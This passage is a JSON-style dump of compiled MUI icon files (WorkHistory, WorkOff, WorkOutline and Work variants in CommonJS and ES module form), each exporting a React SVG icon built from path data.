    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19V8h16v3.29c.72.22 1.4.54 2 .97V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h7.68c-.3-.62-.5-1.29-.6-2zm6-15h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'WorkHistoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11c1.49 0 2.87.47 4 1.26V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h7.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7m-8-7h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'WorkHistoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c1.49 0 2.87.47 4 1.26V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h7.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7m-8-7h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'WorkHistoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistorySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.66 11.13c2-.37 3.88.11 5.34 1.13V6h-6V2H8v4H2v15h9.68c-.63-1.33-.87-2.88-.52-4.51.59-2.7 2.78-4.86 5.5-5.36M10 4h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'WorkHistorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.66 11.13c2-.37 3.88.11 5.34 1.13V6h-6V2H8v4H2v15h9.68c-.63-1.33-.87-2.88-.52-4.51.59-2.7 2.78-4.86 5.5-5.36M10 4h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'WorkHistorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8v11h7.08c-.05-.33-.08-.66-.08-1 0-3.87 3.13-7 7-7 .7 0 1.37.1 2 .29V8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19V8h16v3.29c.72.22 1.4.54 2 .97V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h7.68c-.3-.62-.5-1.29-.6-2zm6-15h4v2h-4z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"2\")], 'WorkHistoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8v11h7.08c-.05-.33-.08-.66-.08-1 0-3.87 3.13-7 7-7 .7 0 1.37.1 2 .29V8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19V8h16v3.29c.72.22 1.4.54 2 .97V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h7.68c-.3-.62-.5-1.29-.6-2zm6-15h4v2h-4z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"2\")], 'WorkHistoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 21.74-1.46-1.46L7.21 5.95 3.25 1.99 1.99 3.25l2.7 2.7h-.64c-1.11 0-1.99.89-1.99 2l-.01 11c0 1.11.89 2 2 2h15.64L21.74 23zM22 7.95c.05-1.11-.84-2-1.95-1.95h-4V3.95c0-1.11-.89-2-2-1.95h-4c-1.11-.05-2 .84-2 1.95v.32l13.95 14zM14.05 6H10V3.95h4.05z\"\n}), 'WorkOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 21.74-1.46-1.46L7.21 5.95 3.25 1.99 1.99 3.25l2.7 2.7h-.64c-1.11 0-1.99.89-1.99 2l-.01 11c0 1.11.89 2 2 2h15.64L21.74 23zM22 7.95c.05-1.11-.84-2-1.95-1.95h-4V3.95c0-1.11-.89-2-2-1.95h-4c-1.11-.05-2 .84-2 1.95v.32l13.95 14zM14.05 6H10V3.95h4.05z\"\n}), 'WorkOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4h4v2h-3.6l2 2H20v7.6l2 2V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-.99 0-1.8.7-1.96 1.64L10 5.6zM3.4 1.84 1.99 3.25 4.74 6H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h15.74l2 2 1.41-1.41zM4 19V8h2.74l11 11z\"\n}), 'WorkOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4h4v2h-3.6l2 2H20v7.6l2 2V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-.99 0-1.8.7-1.96 1.64L10 5.6zM3.4 1.84 1.99 3.25 4.74 6H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h15.74l2 2 1.41-1.41zM4 19V8h2.74l11 11z\"\n}), 'WorkOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.11 2.54a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L4.74 6H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h15.74l1.29 1.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM10 4h4v2h-3.6L22 17.6V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-.99 0-1.8.7-1.96 1.64L10 5.6z\"\n}), 'WorkOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.11 2.54a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L4.74 6H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h15.74l1.29 1.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM10 4h4v2h-3.6L22 17.6V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-.99 0-1.8.7-1.96 1.64L10 5.6z\"\n}), 'WorkOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4h4v2h-3.6L22 17.6V6h-6V4c0-1.1-.9-2-2-2h-4c-.98 0-1.79.71-1.96 1.64L10 5.6zM3.4 1.84 1.99 3.25 4.74 6H2.01L2 21h17.74l2 2 1.41-1.41z\"\n}), 'WorkOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4h4v2h-3.6L22 17.6V6h-6V4c0-1.1-.9-2-2-2h-4c-.98 0-1.79.71-1.96 1.64L10 5.6zM3.4 1.84 1.99 3.25 4.74 6H2.01L2 21h17.74l2 2 1.41-1.41z\"\n}), 'WorkOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8v11h13.74l-11-11zm8.4 0 7.6 7.6V8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4h4v2h-3.6l2 2H20v7.6l2 2V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-.99 0-1.8.7-1.96 1.64L10 5.6zM3.4 1.84 1.99 3.25 4.74 6H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h15.74l2 2 1.41-1.41zM4 19V8h2.74l11 11z\"\n}, \"1\")], 'WorkOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8v11h13.74l-11-11zm8.4 0 7.6 7.6V8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4h4v2h-3.6l2 2H20v7.6l2 2V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-.99 0-1.8.7-1.96 1.64L10 5.6zM3.4 1.84 1.99 3.25 4.74 6H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h15.74l2 2 1.41-1.41zM4 19V8h2.74l11 11z\"\n}, \"1\")], 'WorkOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M14 6V4h-4v2zM4 8v11h16V8zm16-2c1.11 0 2 .89 2 2v11c0 1.11-.89 2-2 2H4c-1.11 0-2-.89-2-2l.01-11c0-1.11.88-2 1.99-2h4V4c0-1.11.89-2 2-2h4c1.11 0 2 .89 2 2v2z\"\n}), 'WorkOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M14 6V4h-4v2zM4 8v11h16V8zm16-2c1.11 0 2 .89 2 2v11c0 1.11-.89 2-2 2H4c-1.11 0-2-.89-2-2l.01-11c0-1.11.88-2 1.99-2h4V4c0-1.11.89-2 2-2h4c1.11 0 2 .89 2 2v2z\"\n}), 'WorkOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6V4h-4v2zM4 8v11h16V8zm16-2c1.11 0 2 .89 2 2v11c0 1.11-.89 2-2 2H4c-1.11 0-2-.89-2-2l.01-11c0-1.11.88-2 1.99-2h4V4c0-1.11.89-2 2-2h4c1.11 0 2 .89 2 2v2z\"\n}), 'WorkOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6V4h-4v2zM4 8v11h16V8zm16-2c1.11 0 2 .89 2 2v11c0 1.11-.89 2-2 2H4c-1.11 0-2-.89-2-2l.01-11c0-1.11.88-2 1.99-2h4V4c0-1.11.89-2 2-2h4c1.11 0 2 .89 2 2v2z\"\n}), 'WorkOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6V4h-4v2zM4 9v9c0 .55.45 1 1 1h14c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1m16-3c1.11 0 2 .89 2 2v11c0 1.11-.89 2-2 2H4c-1.11 0-2-.89-2-2l.01-11c0-1.11.88-2 1.99-2h4V4c0-1.11.89-2 2-2h4c1.11 0 2 .89 2 2v2z\"\n}), 'WorkOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6V4h-4v2zM4 9v9c0 .55.45 1 1 1h14c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1m16-3c1.11 0 2 .89 2 2v11c0 1.11-.89 2-2 2H4c-1.11 0-2-.89-2-2l.01-11c0-1.11.88-2 1.99-2h4V4c0-1.11.89-2 2-2h4c1.11 0 2 .89 2 2v2z\"\n}), 'WorkOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6V4h-4v2zM4 8v11h16V8zm18-2v15H2.01V6H8V4c0-1.1.9-2 2-2h4c1.1 0 2 .9 2 2v2z\"\n}), 'WorkOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6V4h-4v2zM4 8v11h16V8zm18-2v15H2.01V6H8V4c0-1.1.9-2 2-2h4c1.1 0 2 .9 2 2v2z\"\n}), 'WorkOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M10 4h4v2h-4zm10 15H4V8h16z\"\n}), 'WorkOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M10 4h4v2h-4zm10 15H4V8h16z\"\n}), 'WorkOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-6 0h-4V4h4z\"\n}), 'WorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-6 0h-4V4h4z\"\n}), 'WorkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-6 0h-4V4h4z\"\n}), 'WorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-6 0h-4V4h4z\"\n}), 'WorkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6h-6V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H2v15h20zm-8 0h-4V4h4z\"\n}), 'WorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6h-6V4c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v2H2v15h20zm-8 0h-4V4h4z\"\n}), 'WorkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 8h16v11H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M10 4h4v2h-4zm10 15H4V8h16z\"\n}, \"1\")], 'WorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 8h16v11H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2M10 4h4v2h-4zm10 15H4V8h16z\"\n}, \"1\")], 'WorkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkspacePremium.js",
